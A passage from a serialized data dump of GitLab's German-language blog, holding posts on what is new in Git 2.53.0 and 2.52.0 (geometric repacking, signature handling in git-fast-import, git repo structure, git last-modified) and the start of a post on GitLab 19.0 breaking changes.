streamen](https://about.gitlab.com/blog/how-to-stream-logs-through-the-gitlab-dashboard-for-kubernetes/)\n- [Kubernetes-Überblick: Cluster-Daten im Frontend verwalten](https://about.gitlab.com/blog/kubernetes-overview-operate-cluster-data-on-the-frontend/)\n- [Cloud-Account-Management für Kubernetes-Zugriff vereinfachen](https://about.gitlab.com/blog/simplify-your-cloud-account-management-for-kubernetes-access/)\n",[1078,1079],"kubernetes","open source",{"slug":1081,"featured":645,"template":796},"kubernetes-the-container-orchestration-solution",{"content":1083,"config":1092},{"title":1084,"description":1085,"authors":1086,"date":1088,"body":1089,"heroImage":1090,"category":734,"tags":1091},"Was ist neu in Git 2.53.0?","Alles, was du über dieses Release wissen musst, darunter Fixes für geometrisches Repacking, Updates zu den Commit-Signature-Handling-Optionen von git-fast-import(1) und mehr.",[1087],"Justin Tobler","2026-02-02","Das Git-Projekt hat kürzlich [Git 2.53.0](https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u) veröffentlicht. Schauen wir uns einige Highlights dieses Releases an, das auch Beiträge vom Git-Team bei GitLab enthält.\n\n## Unterstützung für geometrisches Repacking mit Promisor Remotes\n\nNeu geschriebene Objekte in einem Git-Repository werden oft als einzelne Loose Files gespeichert. Um gute Performance und optimale Nutzung des Speicherplatzes zu gewährleisten, werden diese Loose Objects regelmäßig in sogenannte Packfiles komprimiert. Die Anzahl der Packfiles in einem Repository wächst im Laufe der Zeit durch die Aktivitäten des Users, wie das Schreiben neuer Commits oder das Fetchen von einem Remote. Je mehr Packfiles sich in einem Repository befinden, desto mehr Arbeit hat Git beim Nachschlagen einzelner Objekte. Um die optimale Repository-Performance zu erhalten, werden Packfiles daher regelmäßig über git-repack(1) neu gepackt, um die Objekte in weniger Packfiles zu konsolidieren. Beim Repacking gibt es zwei Strategien: „All-into-One\" und „Geometric\".\n\nDie All-into-One-Strategie ist relativ unkompliziert und derzeit der Standard. Wie der Name schon sagt, werden alle Objekte im Repository in ein einziges Packfile gepackt. Aus Performance-Sicht ist das großartig für das Repository, da Git nur ein einzelnes Packfile durchsuchen muss, um Objekte nachzuschlagen. Der Hauptnachteil dieser Repacking-Strategie ist, dass die Berechnung eines einzigen Packfiles für ein Repository bei großen Repositories erheblich viel Zeit in Anspruch nehmen kann.\n\nDie Geometric-Strategie hilft, dieses Problem zu entschärfen, indem sie eine geometrische Progression von Packfiles basierend auf ihrer Größe beibehält, anstatt immer in ein einziges Packfile neu zu packen. Also: Beim Repacking pflegt Git eine Reihe von Packfiles, die nach Größe geordnet sind, wobei jedes Packfile in der Sequenz mindestens doppelt so groß sein soll wie das vorhergehende Packfile. Wenn ein Packfile in der Sequenz diese Eigenschaft verletzt, werden Packfiles bei Bedarf kombiniert, bis die Progression wiederhergestellt ist. Diese Strategie hat den Vorteil, dass sie die Anzahl der Packfiles in einem Repository minimiert und gleichzeitig den Arbeitsaufwand für die meisten Repacking-Operationen minimiert.\n\nEin Problem mit der geometrischen Repacking-Strategie war, dass sie nicht mit Partial Clones kompatibel war. Partial Clones ermöglichen es dir, nur Teile eines Repositorys zu klonen, indem du zum Beispiel alle Blobs größer als 1 Megabyte überspringst. Das kann die Größe eines Repositorys erheblich reduzieren, und Git weiß, wie es fehlende Objekte nachträglich abrufen kann, auf die es zu einem späteren Zeitpunkt zugreifen muss.\n\nDas Ergebnis ist ein Repository, dem einige Objekte fehlen, und jedes Objekt, das möglicherweise nicht vollständig verbunden ist, wird in einem „Promisor\"-Packfile gespeichert. Beim Repacking muss diese Promisor-Eigenschaft für Packfiles, die ein Promisor-Objekt enthalten, beibehalten werden, damit bekannt ist, ob ein fehlendes Objekt erwartet wird und vom Promisor Remote nachgeladen werden kann. \n\nBei einem All-into-One-Repack weiß Git, wie es Promisor-Objekte richtig behandelt und speichert sie in einem separaten Promisor-Packfile. Leider wusste die geometrische Repacking-Strategie nicht, Promisor-Packfiles eine Sonderbehandlung zu geben, und würde sie stattdessen mit normalen Packfiles zusammenführen, ohne zu berücksichtigen, ob sie auf Promisor-Objekte verweisen. Glücklicherweise schlägt aufgrund eines Bugs das zugrunde liegende git-pack-objects(1) fehl, wenn geometrisches Repacking in einem Partial-Clone-Repository verwendet wird. Das bedeutet, dass Repositories in dieser Konfiguration sowieso nicht neu gepackt werden konnten, was nicht großartig ist, aber besser als Repository-Korruption.\n\nMit dem Release von Git 2.53 funktioniert geometrisches Repacking jetzt mit Partial-Clone-Repositories. Bei einem geometrischen Repack werden Promisor-Packfiles separat behandelt, um die Promisor-Markierung zu erhalten, und nach einer separaten geometrischen Progression neu gepackt. Mit diesem Fix rückt die geometrische Strategie näher daran, die Standard-Repacking-Strategie zu werden. Für weitere Informationen schau dir den entsprechenden [Mailing-List-Thread](https://lore.kernel.org/git/20260105-pks-geometric-repack-with-promisors-v1-0-c4660573437e@pks.im/) an.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## git-fast-import(1) hat gelernt, nur gültige Signaturen zu erhalten\n\nIn unserem [Git 2.52 Release-Artikel](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-52-0/) haben wir signatur-bezogene Verbesserungen an git-fast-import(1) und git-fast-export(1) behandelt. Schau dir diesen Post unbedingt an für eine detailliertere Erklärung dieser Befehle, wie sie verwendet werden und welche Änderungen in Bezug auf Signaturen vorgenommen werden.\n\nUm es kurz zusammenzufassen: git-fast-import(1) bietet ein Backend zum effizienten Importieren von Daten in ein Repository und wird von Tools wie [git-filter-repo(1)](https://github.com/newren/git-filter-repo) verwendet, um die History eines Repositorys in großem Umfang neu zu schreiben. Im Git 2.52 Release hat git-fast-import(1) die Option `--signed-commits=\u003Cmode>` gelernt, ähnlich wie die gleiche Option in git-fast-export(1). Mit dieser Option wurde es möglich, Signaturen von Commits/Tags ohne Bedingung beizubehalten oder zu entfernen.\n\nIn Situationen, in denen nur ein Teil der Repository-History neu geschrieben wurde, wird jede Signatur für neu geschriebene Commits/Tags ungültig. Das bedeutet, dass git-fast-import(1) darauf beschränkt ist, entweder alle Signaturen zu entfernen oder alle Signaturen zu behalten, selbst wenn sie ungültig geworden sind. Aber ungültige Signaturen zu behalten, macht nicht viel Sinn, daher führt das Neuschreiben der History mit git-filter-repo(1) dazu, dass alle Signaturen entfernt werden, selbst wenn der zugrunde liegende Commit/Tag nicht neu geschrieben wurde. Das ist schade, denn wenn der Commit/Tag unverändert ist, ist seine Signatur noch gültig, und es gibt daher keinen wirklichen Grund, sie zu entfernen. Was wirklich benötigt wird, ist eine Möglichkeit, Signaturen für unveränderte Objekte zu erhalten, aber ungültige zu entfernen.\n\nMit dem Release von Git 2.53 hat die Option `--signed-commits=\u003Cmode>` von git-fast-import(1) einen neuen Modus `strip-if-invalid` gelernt, der, wenn angegeben, nur Signaturen von Commits entfernt, die durch das Neuschreiben ungültig werden. Mit dieser Option wird es also möglich, einige Commit-Signaturen bei der Verwendung von git-fast-import(1) zu erhalten. Das ist ein entscheidender Schritt zur Bereitstellung der Grundlage für Tools wie git-filter-repo(1), um gültige Signaturen zu erhalten und schließlich ungültige Signaturen neu zu signieren.\n\nDieses Projekt wurde von [Christian Couder](https://gitlab.com/chriscool) geleitet.\n\n## Mehr Daten in git-repo-structure gesammelt\n\nIm Git 2.52 Release wurde der „structure\"-Subcommand zu git-repo(1) eingeführt. Die Absicht dieses Befehls war es, Informationen über das Repository zu sammeln und schließlich ein nativer Ersatz für Tools wie [git-sizer(1)](https://github.com/github/git-sizer) zu werden. Bei GitLab hosten wir einige extrem große Repositories, und Einblicke in die allgemeine Struktur eines Repositorys sind entscheidend, um seine Performance-Charakteristiken zu verstehen. In diesem Release sammelt der Befehl jetzt auch Informationen zur Gesamtgröße von erreichbaren Objekten in einem Repository, um die Gesamtgröße des Repositorys zu verstehen. In der folgenden Ausgabe kannst du sehen, dass der Befehl jetzt sowohl die gesamten Inflated- als auch Disk-Größen von erreichbaren Objekten nach Objekttyp sammelt.\n\n```shell\n\n$ git repo structure\n\n| Repository structure | Value      |\n| -------------------- | ---------- |\n| * References         |            |\n|   * Count            |   1.78 k   |\n|     * Branches       |      5     |\n|     * Tags           |   1.03 k   |\n|     * Remotes        |    749     |\n|     * Others         |      0     |\n|                      |            |\n| * Reachable objects  |            |\n|   * Count            | 421.37 k   |\n|     * Commits        |  88.03 k   |\n|     * Trees          | 169.95 k   |\n|     * Blobs          | 162.40 k   |\n|     * Tags           |    994     |\n|   * Inflated size    |   7.61 GiB |\n|     * Commits        |  60.95 MiB |\n|     * Trees          |   2.44 GiB |\n|     * Blobs          |   5.11 GiB |\n|     * Tags           | 731.73 KiB |\n|   * Disk size        | 301.50 MiB |\n|     * Commits        |  33.57 MiB |\n|     * Trees          |  77.92 MiB |\n|     * Blobs          | 189.44 MiB |\n|     * Tags           | 578.13 KiB |\n\n```\n\nWer genau hinschaut, dem fällt vielleicht auch auf, dass die Größenwerte in der Tabellenausgabe jetzt auch benutzerfreundlicher mit angehängten Einheiten aufgelistet werden. In zukünftigen Releases hoffen wir, die Ausgabe dieses Befehls weiter zu erweitern, um zusätzliche Datenpunkte bereitzustellen, wie zum Beispiel die größten einzelnen Objekte im Repository.\n\nDieses Projekt wurde von [Justin Tobler](https://gitlab.com/justintobler) geleitet.\n\n## Mehr erfahren\n\nDieser Artikel hat nur einige der Beiträge von GitLab und der breiteren Git-Community für dieses neueste Release hervorgehoben. Du kannst mehr über diese aus der [offiziellen Release-Ankündigung](https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u) des Git-Projekts erfahren. Schau dir auch unsere [früheren Git-Release-Blogposts](https://about.gitlab.com/blog/tags/git/) an, um andere vergangene Highlights von Beiträgen der GitLab-Teammitglieder zu sehen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png",[1079,1014,243],{"featured":645,"template":796,"slug":1093},"whats-new-in-git-2-53-0",{"content":1095,"config":1105},{"title":1096,"description":1097,"authors":1098,"heroImage":1090,"date":1102,"body":1103,"category":734,"tags":1104},"Was ist neu in Git 2.52.0?","Alles zum aktuellen Release, darunter der neue git-last-modified(1)-Befehl, Verbesserungen an History-Rewriting-Tools und eine neue Maintenance-Strategie.",[1099,1100,1101],"Christian Couder","Toon Claes","Patrick Steinhardt","2025-11-17","Das Git-Projekt hat kürzlich [Git 2.52](https://lore.kernel.org/git/xmqqh5usmvsd.fsf@gitster.g/) veröffentlicht. Nach einem relativ kurzen 8-Wochen-[Release-Zyklus für 2.51](https://about.gitlab.com/de-de/blog/what-s-new-in-git-2-51-0/), aufgrund des Sommers auf der Nordhalbkugel, ist dieses Release wieder beim üblichen 12-Wochen-Zyklus.\n\nSchauen wir uns einige Highlights an, darunter Beiträge vom GitLab Git-Team und der weiteren Git-Community.\n\n## Neuer git-last-modified(1)-Befehl\n\nViele Git-Forges wie GitLab zeigen Dateien in einer Tree-Ansicht wie dieser an:\n\n\n| Name        | Last commit                                             | Last update  |\n| ------------- | --------------------------------------------------------- | -------------- |\n| README.md   | README: *.txt -> *.adoc fixes                           | 4 months ago |\n| RelNotes    | Start 2.51 cycle, the first batch                       | 4 weeks ago  |\n| SECURITY.md | SECURITY: describe how to report vulnerabilities        | 4 years      |\n| abspath.c   | abspath: move related functions to abspath              | 2 years      |\n| abspath.h   | abspath: move related functions to abspath              | 2 years      |\n| aclocal.m4  | configure: use AC_LANG_PROGRAM consistently             | 15 years ago |\n| add-patch.c | pager: stop using `the_repository`                      | 7 months ago |\n| advice.c    | advice: allow disabling default branch name advice      | 4 months ago |\n| advice.h    | advice: allow disabling default branch name advice      | 4 months ago |\n| alias.h     | rebase -m: fix serialization of strategy options        | 2 years      |\n| alloc.h     | git-compat-util: move alloc macros to git-compat-util.h | 2 years ago  |\n| apply.c     | apply: only write intents to add for new files          | 8 days ago   |\n| archive.c   | Merge branch 'ps/parse-options-integers'                | 3 months ago |\n| archive.h   | archive.h: remove unnecessary include                   | 1 year       |\n| attr.h      | fuzz: port fuzz-parse-attr-line from OSS-Fuzz           | 9 months ago |\n| banned.h    | banned.h: mark `strtok()` and `strtok_r()` as banned    | 2 years      |\n\n\n\u003Cbr>\u003C/br>\n\nNeben den Dateien selbst zeigen wir auch an, welcher Commit jede jeweilige Datei zuletzt geändert hat. Diese Information lässt sich einfach aus Git extrahieren, indem du folgenden Befehl ausführst:\n\n```shell\n\n$ git log --max-count=1 HEAD -- \u003Cfilename>\n\n```\n\nObwohl schön und einfach, hat das einen erheblichen Haken: Git hat keine Möglichkeit, diese Information für jede dieser Dateien in einem einzigen Befehl zu extrahieren. Um also den letzten Commit für alle Dateien im Tree zu erhalten, müssten wir diesen Befehl für jede Datei separat ausführen. Das führt zu einer Befehlspipeline ähnlich der folgenden:\n\n```shell\n\n$ git ls-tree HEAD --name-only | xargs --max-args=1 git log --max-count=1 HEAD --\n\n```\n\nNatürlich ist das nicht sehr effizient:\n\n\n* Wir müssen für jede Datei einen neuen Git-Befehl starten.\n\n\n* Git muss die History für jede Datei separat durchlaufen.\n\n\n\nAls Konsequenz ist diese gesamte Operation ziemlich kostspielig und erzeugt erhebliche Last für GitLab.\n\n\n\nUm diese Probleme zu beheben, wurde ein neuer Git-Subcommand `git-last-modified(1)` eingeführt. Dieser Befehl gibt den Commit für jede Datei eines gegebenen Commits zurück:\n\n```shell\n\n$ git last-modified HEAD\n\n\ne56f6dcd7b4c90192018e848d0810f091d092913        add-patch.c\n373ad8917beb99dc643b6e7f5c117a294384a57e        advice.h\ne9330ae4b820147c98e723399e9438c8bee60a80        advice.c\n5e2feb5ca692c5c4d39b11e1ffa056911dd7dfd3        alloc.h\n954d33a9757fcfab723a824116902f1eb16e05f7        RelNotes\n4ce0caa7cc27d50ee1bedf1dff03f13be4c54c1f        apply.c\n5d215a7b3eb0a9a69c0cb9aa43dcae956a0aa03e        archive.c\nc50fbb2dd225e7e82abba4380423ae105089f4d7        README.md\n72686d4e5e9a7236b9716368d86fae5bf1ae6156        attr.h\nc2c4138c07ca4d5ffc41ace0bfda0f189d3e262e        archive.h\n5d1344b4973c8ea4904005f3bb51a47334ebb370        abspath.c\n5d1344b4973c8ea4904005f3bb51a47334ebb370        abspath.h\n60ff56f50372c1498718938ef504e744fe011ffb        banned.h\n4960e5c7bdd399e791353bc6c551f09298746f61        alias.h\n2e99b1e383d2da56c81d7ab7dd849e9dab5b7bf0        SECURITY.md\n1e58dba142c673c59fbb9d10aeecf62217d4fc9c        aclocal.m4\n\n```\n\n\n\nDer Vorteil davon ist offensichtlich, dass wir jetzt nur noch einen einzigen Git-Prozess ausführen müssen, um all diese Informationen abzuleiten. Aber noch wichtiger ist, dass wir die History nur einmal für alle Dateien zusammen durchlaufen müssen, anstatt sie mehrmals durchlaufen zu müssen. Dies wird wie folgt erreicht:\n\n\n1. Beginne damit, die History vom angegebenen Commit aus zu durchlaufen.\n\n\n2. Für jeden Commit:\n\n\n\n   1. Wenn er keinen der Pfade ändert, an denen wir interessiert sind, fahren wir mit dem nächsten Commit fort.\n   2. Wenn er es tut, geben wir die Commit-ID zusammen mit dem Pfad aus. Außerdem entfernen wir den Pfad aus der Menge der interessanten Pfade.\n\n\n\n3. Wenn die Liste der interessanten Pfade leer wird, stoppen wir.\n\n\n\nGitaly wurde bereits angepasst, um den neuen Befehl zu verwenden, aber die Logik ist noch hinter einem Feature-Flag geschützt. Vorläufige Tests haben gezeigt, dass `git-last-modified(1)` in den meisten Situationen mindestens doppelt so schnell ist wie die Verwendung von `git log --max-count=1`.\n\n\n\n*Diese Änderungen wurden [ursprünglich geschrieben](https://github.com/ttaylorr/git/tree/tb/blame-tree) von mehreren Entwicklern von GitHub und wurden [upstream](https://lore.kernel.org/git/20250805093358.1791633-1-toon@iotcl.com/) in Git von [Toon Claes](https://gitlab.com/toon) integriert.*\n\n\n\n## Signatur-bezogene Verbesserungen für git-fast-export(1) und git-fast-import(1)\n\n\n\nDie Befehle `git-fast-export(1)` und `git-fast-import(1)` sind dafür konzipiert, hauptsächlich von Interoperabilitäts- oder History-Rewriting-Tools verwendet zu werden. Das Ziel von Interoperabilitäts-Tools ist es, Git problemlos mit anderer Software interagieren zu lassen, normalerweise einem anderen Versionskontrollsystem, das Daten in einem anderen Format als Git speichert. Zum Beispiel ist [hg-fast-export.sh](https://github.com/frej/fast-export) ein „Mercurial-zu-Git-Konverter, der git-fast-import verwendet.\"\n\n\n\nAlternativ lassen History-Rewriting-Tools Benutzer – normalerweise Admins – Änderungen an der History ihrer Repositories vornehmen, die Versionskontrollsysteme nicht zulassen. Zum Beispiel sagt [reposurgeon](http://www.catb.org/esr/reposurgeon/) in seiner [Einführung](https://gitlab.com/esr/reposurgeon/-/blob/master/repository-editing.adoc?ref_type=heads#introduction), dass sein Zweck ist, „riskante Operationen zu ermöglichen, die Versionskontrollsysteme dich nicht durchführen lassen wollen, wie zum Beispiel (a) Bearbeitung vergangener Kommentare und Metadaten, (b) Entfernung von Commits, (c) Zusammenführung und Aufteilung von Commits, (d) Entfernung von Dateien und Subtrees aus der Repo-History, (e) Zusammenführung oder Verknüpfung von zwei oder mehr Repos und (f) Aufteilung eines Repos in zwei durch Durchtrennung einer Parent-Child-Verbindung, wobei die Branch-Struktur beider Child-Repos erhalten bleibt.\"\n\n\n\nInnerhalb von GitLab verwenden wir [git-filter-repo](https://github.com/newren/git-filter-repo), um Admins einige riskante Operationen an ihren Git-Repositories durchführen zu lassen. Leider haben bis Git 2.50 (veröffentlicht im letzten Juni) sowohl `git-fast-export(1)` als auch `git-fast-import(1)` kryptografische Commit-Signaturen überhaupt nicht behandelt. Obwohl `git-fast-export(1)` also eine Option `--signed-tags=\u003Cmode>` hatte, die es Benutzern ermöglicht zu ändern, wie kryptografische Tag-Signaturen behandelt werden, wurden Commit-Signaturen einfach ignoriert.\n\n\n\nKryptografische Signaturen sind sehr fragil, weil sie auf den exakten Commit- oder Tag-Daten basieren, die signiert wurden. Wenn sich die signierten Daten oder irgendetwas von ihrer vorhergehenden History ändert, wird die kryptografische Signatur ungültig. Dies ist eine fragile, aber notwendige Anforderung, um diese Signaturen nützlich zu machen.\n\n\n\nAber im Kontext des Neuschreibens der History ist das ein Problem:\n\n\n\n* Wir möchten vielleicht kryptografische Signaturen sowohl für Commits als auch für Tags behalten, die nach dem Neuschreiben noch gültig sind (z.B. weil sich die History, die zu ihnen führt, nicht geändert hat).\n\n\n* Wir möchten vielleicht neue kryptografische Signaturen für Commits und Tags erstellen, bei denen die vorherige Signatur ungültig geworden ist.\n\n\n\nWeder `git-fast-import(1)` noch `git-fast-export(1)` erlauben diese Anwendungsfälle jedoch, was einschränkt, was Tools wie [git-filter-repo](https://github.com/newren/git-filter-repo) oder [reposurgeon](http://www.catb.org/esr/reposurgeon/) erreichen können.\n\n\n\nWir haben einige erhebliche Fortschritte gemacht:\n\n\n\n* In Git 2.50 haben wir eine Option `--signed-commits=\u003Cmode>` zu `git-fast-export(1)` hinzugefügt, um Commit-Signaturen zu exportieren, und Unterstützung in `git-fast-import(1)`, um sie zu importieren.\n\n\n* In Git 2.51 haben wir das Format verbessert, das zum Exportieren und Importieren von Commit-Signaturen verwendet wird, und wir haben es für `git-fast-import(1)` möglich gemacht, sowohl eine Signatur zu importieren, die auf der SHA-1-Objekt-ID des Commits gemacht wurde, als auch eine, die auf seiner SHA-256-Objekt-ID gemacht wurde.\n\n\n* In Git 2.52 haben wir die Optionen `--signed-commits=\u003Cmode>` und `--signed-tags=\u003Cmode>` zu `git-fast-import(1)` hinzugefügt, sodass der Benutzer Kontrolle darüber hat, wie signierte Daten zum Zeitpunkt des Imports behandelt werden.\n\n\n\nEs gibt noch mehr zu tun. Wir müssen die Fähigkeit hinzufügen:\n\n\n\n* Nur die Commit-Signaturen beizubehalten, die noch gültig sind, zu `git-fast-import(1)`.\n\n\n* Daten neu zu signieren, bei denen die Signatur ungültig wurde.\n\n\n\nWir arbeiten bereits an diesen nächsten Schritten, und erwarten, dass dies in Git 2.53 landet. Sobald das erledigt ist, werden Tools wie `git-filter-repo(1)` endlich beginnen, kryptografische Signaturen eleganter zu handhaben. Wir werden dich in unserem nächsten Git-Release-Blogpost auf dem Laufenden halten.\n\n\n\n*Dieses Projekt wurde von [Christian Couder](https://gitlab.com/chriscool) geleitet.*\n\n\n\n## Neue und verbesserte git-maintenance(1)-Strategien\n\n\n\nGit-Repositories benötigen regelmäßige Wartung, um sicherzustellen, dass sie gut funktionieren. Diese Wartung führt eine Reihe verschiedener Aufgaben aus: Referenzen werden optimiert, Objekte werden komprimiert und veraltete Daten werden bereinigt.\n\n\n\nBis Git 2.28 wurden diese Wartungsaufgaben von `git-gc(1)` durchgeführt. Das Problem mit diesem Befehl war, dass er nicht mit Blick auf Anpassbarkeit entwickelt wurde: Während bestimmte Parameter konfiguriert werden können, ist es nicht möglich zu kontrollieren, welche Teile eines Repositorys optimiert werden sollen. Das bedeutet, dass es möglicherweise nicht für alle Anwendungsfälle gut geeignet ist. Noch wichtiger ist, dass es sehr schwer wurde, darüber zu iterieren, wie genau Git Repository-Wartung durchführt.\n\n\n\nUm dieses Problem zu beheben und uns wieder iterieren zu lassen, hat [Derrick Stolee](https://github.com/derrickstolee) `git-maintenance(1)` eingeführt. Im Gegensatz zu `git-gc(1)` ist es mit Blick auf Anpassbarkeit entwickelt und ermöglicht es dem Benutzer zu konfigurieren, welche Aufgaben speziell in einem bestimmten Repository ausgeführt werden sollen. Dieses neue Tool wurde in Git 2.29 zum Standard für Gits automatisierte Wartung gemacht, aber standardmäßig verwendet es immer noch `git-gc(1)`, um die Wartung durchzuführen.\n\n\n\nWährend diese Standard-Wartungsstrategie in kleinen oder sogar mittelgroßen Repositories gut funktioniert, ist sie im Kontext großer Monorepos problematisch. Der größte limitierende Faktor ist, wie `git-gc(1)` Objekte neu packt: Immer wenn es mehr als 50 Packfiles gibt, wird das Tool alle zusammen in ein einziges Packfile zusammenführen. Diese Operation ist ziemlich CPU-intensiv und verursacht viele I/O-Operationen, sodass diese Operation für große Monorepos leicht viele Minuten oder sogar Stunden dauern kann.\n\n\n\nGit weiß bereits, wie diese Repacks durch „geometrisches Repacking\" minimiert werden können. Die Idee ist einfach: Die Packfiles, die im Repository existieren, müssen einer geometrischen Progression folgen, bei der jedes Packfile mindestens doppelt so viele Objekte enthalten muss wie das nächstkleinere. Dies ermöglicht es Git, die Anzahl der erforderlichen Repacks zu amortisieren und gleichzeitig sicherzustellen, dass es insgesamt nur eine relativ kleine Anzahl von Packfiles gibt. Dieser Modus wurde von [Taylor Blau](https://github.com/ttaylorr) in Git 2.32 eingeführt, aber er wurde nicht als Teil der automatisierten Wartung eingebunden.\n\n\n\nAlle Teile existieren, um die Repository-Wartung für große Monorepos viel skalierbarer zu machen: Wir haben das flexible `git-maintenance(1)`-Tool, das erweitert werden kann, um eine neue Wartungsstrategie zu haben, und wir haben einen besseren Weg, Objekte neu zu packen. Alles, was getan werden muss, ist, diese beiden zu kombinieren.\n\n\n\nUnd genau das haben wir mit Git 2.52 getan! Wir haben eine neue „geometrische\" Wartungsstrategie eingeführt, die du in deinen Git-Repositories konfigurieren kannst. Diese Strategie ist als vollständiger Ersatz für die alte Strategie basierend auf `git-gc(1)` gedacht. Hier ist der Config-Code, den du benötigst:\n\n\n```shell\n\n$ git config set maintenance.strategy geometric\n\n```\n\n\n\nAb jetzt verwendet Git geometrisches Repacking verwenden, um deine Objekte zu optimieren. Das sollte zu weniger Churn führen und gleichzeitig sicherstellen, dass deine Objekte in einem besser optimierten Zustand sind, besonders in großen Monorepos.\n\n\n\nIn Git 2.53 wollen wir dies zur Standard-Strategie machen. Also bleib dran!\n\n\n\n*Dieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.*\n\n\n\n## Neuer Subcommand für git-repo(1) zur Anzeige von Repository-Metriken\n\n\n\nDie Performance von Git-Operationen in einem Repository hängt oft von bestimmten Eigenschaften seiner zugrunde liegenden Struktur ab. Bei GitLab hosten wir einige extrem große Repositories, und Einblicke in die allgemeine Struktur eines Repositorys sind entscheidend, um die Performance zu verstehen. Während es möglich ist, verschiedene Git-Befehle und andere Tools zusammenzusetzen, um bestimmte Repository-Metriken zu ermitteln, fehlt Git eine Möglichkeit, Informationen über die Form/Struktur eines Repositorys über einen einzigen Befehl zu liefern. Dies hat zur Entwicklung anderer externer Tools geführt, wie [git-sizer(1)](https://github.com/github/git-sizer), um diese Lücke zu füllen.\n\n\n\nMit dem Release von Git 2.52 wurde ein neuer „structure\"-Subcommand zu git-repo(1) hinzugefügt mit dem Ziel, Informationen über die Struktur eines Repositorys zu liefern. Derzeit zeigt er Informationen über die Anzahl der Referenzen und Objekte im Repository in der folgenden Form an:\n\n```shell\n\n$ git repo structure\n\n\n| Repository structure | Value  |\n| -------------------- | ------ |\n| * References         |        |\n|   * Count            |   1772 |\n|     * Branches       |      3 |\n|     * Tags           |   1025 |\n|     * Remotes        |    744 |\n|     * Others         |      0 |\n|                      |        |\n| * Reachable objects  |        |\n|   * Count            | 418958 |\n|     * Commits        |  87468 |\n|     * Trees          | 168866 |\n|     * Blobs          | 161632 |\n|     * Tags           |    992 |\n\n```\n\n\n\nIn zukünftigen Releases hoffen wir, dies zu erweitern und andere interessante Datenpunkte bereitzustellen, wie die größten Objekte im Repository.\n\n\n\n*Dieses Projekt wurde von [Justin Tobler](https://gitlab.com/justintobler) geleitet.*\n\n\n\n## Verbesserungen im Zusammenhang mit dem Google Summer of Code 2025\n\n\n\nWir hatten drei erfolgreiche Projekte mit dem Google Summer of Code.\n\n\n\n### Refactoring zur Reduzierung von Gits globalem Status\n\n\n\nGit enthält mehrere globale Variablen, die in der gesamten Codebasis verwendet werden. Dies erhöht die Komplexität des Codes und verringert die Wartbarkeit. Als Teil dieses Projekts hat [Ayush Chandekar](https://ayu-ch.github.io/) daran gearbeitet, die Verwendung der globalen Variable `the_repository` durch eine Reihe von Patches zu reduzieren.\n\n\n\n*Das Projekt wurde betreut von [Christian Couder](https://gitlab.com/chriscool) und [Ghanshyam Thakkar](https://in.linkedin.com/in/ghanshyam-thakkar).*\n\n\n\n### Maschinenlesbares Repository-Informations-Abfrage-Tool\n\n\n\nGit fehlt ein zentraler Weg, um Repository-Informationen abzurufen, was Benutzer zwingt, sie aus verschiedenen Befehlen zusammenzusetzen. Während `git-rev-parse(1)` zum De-facto-Tool für den Zugriff auf viele dieser Informationen geworden ist, liegt dies außerhalb seines Hauptzwecks.\n\n\n\nAls Teil dieses Projekts hat [Lucas Oshiro](https://lucasoshiro.github.io/en/) einen neuen Befehl eingeführt, `git-repo(1)`, der alle Repository-Level-Informationen beherbergen wird. Benutzer können jetzt `git repo info` verwenden, um Repository-Informationen zu erhalten:\n\n```shell\n\n$ git repo info layout.bare layout.shallow object.format references.format\n\nlayout.bare=false\nlayout.shallow=false\nobject.format=sha1\nreferences.format=reftable\n\n```\n\n\n\n*Das Projekt wurde betreut von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) und [Karthik Nayak](https://gitlab.com/knayakgl).*\n\n\n\n### Konsolidierung ref-bezogener Funktionalität in git-refs\n\n\n\nGit bietet mehrere Befehle zur Verwaltung von Referenzen, nämlich `git-for-each-ref(1)`, `git show-ref(1)`, `git-update-ref(1)` und `git-pack-refs(1)`. Das macht sie schwerer zu entdecken und erzeugt sich überschneidende Funktionalität. Um dies anzugehen, haben wir den Befehl `git-refs(1)` eingeführt, um diese Operationen unter einer einzigen Schnittstelle zu konsolidieren. Als Teil dieses Projekts hat [Meet Soni](https://inosmeet.github.io/) den Befehl durch Hinzufügen der folgenden Subcommands erweitert:\n\n\n\n* `git refs optimize` zur Optimierung des Reference-Backends\n\n\n* `git refs list` zum Auflisten aller Referenzen\n\n\n* `git refs exists` zur Überprüfung der Existenz einer Referenz\n\n\n\n*Das Projekt wurde betreut von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) und [shejialuo](https://luolibrary.com/).*\n\n\n\n## Was kommt als Nächstes?\n\n\n\nBereit, diese Verbesserungen zu erleben? Aktualisiere auf Git 2.52.0 und fang an, `git last-modified` zu verwenden.\n\n\n\nBei GitLab werden wir natürlich sicherstellen, dass all diese Verbesserungen schließlich in einer GitLab-Instanz in deiner Nähe landen!\n\n\n\nErfahre mehr in den [offiziellen Git 2.52.0 Release Notes](https://lore.kernel.org/git/xmqqh5usmvsd.fsf@gitster.g/) und erkunde unser [vollständiges Archiv der Git-Entwicklungs-Berichterstattung](https://about.gitlab.com/blog/tags/git/).",[1079,1014,243],{"featured":645,"template":796,"slug":1106},"whats-new-in-git-2-52-0",{"category":71,"slug":746,"posts":1108},[1109,1121,1134],{"content":1110,"config":1119},{"date":1111,"body":1112,"category":746,"tags":1113,"authors":1114,"title":1116,"description":1117,"heroImage":1118},"2026-04-15","GitLab 17.0 enthielt 80 Breaking Changes – also inkompatible Änderungen, die beim Upgrade manuellen Anpassungsbedarf erzeugen. GitLab 18.0 hatte 27. Das bevorstehende Release GitLab 19.0 wird voraussichtlich 15 enthalten.\n\nWir wissen, dass die Verwaltung von Breaking Changes bei einem Major-Upgrade aufwändig ist: Es erfordert Analyse und Koordination im gesamten Unternehmen. Als Reaktion darauf haben wir eine [Genehmigungspflicht für Breaking Changes](https://docs.gitlab.com/development/deprecation_guidelines/#how-do-i-get-approval-to-move-forward-with-a-breaking-change) eingeführt, die eine Folgenabschätzung und die Freigabe durch die Führungsebene vorschreibt, bevor ein Breaking Change umgesetzt werden kann. Dieser Prozess zeigt Wirkung, und wir sind entschlossen, die Zahl weiter zu senken.\n\nIm Folgenden sind alle Breaking Changes in GitLab 19.0 aufgeführt, geordnet nach Deployment-Typ und Auswirkung, zusammen mit den Migrationsschritten für 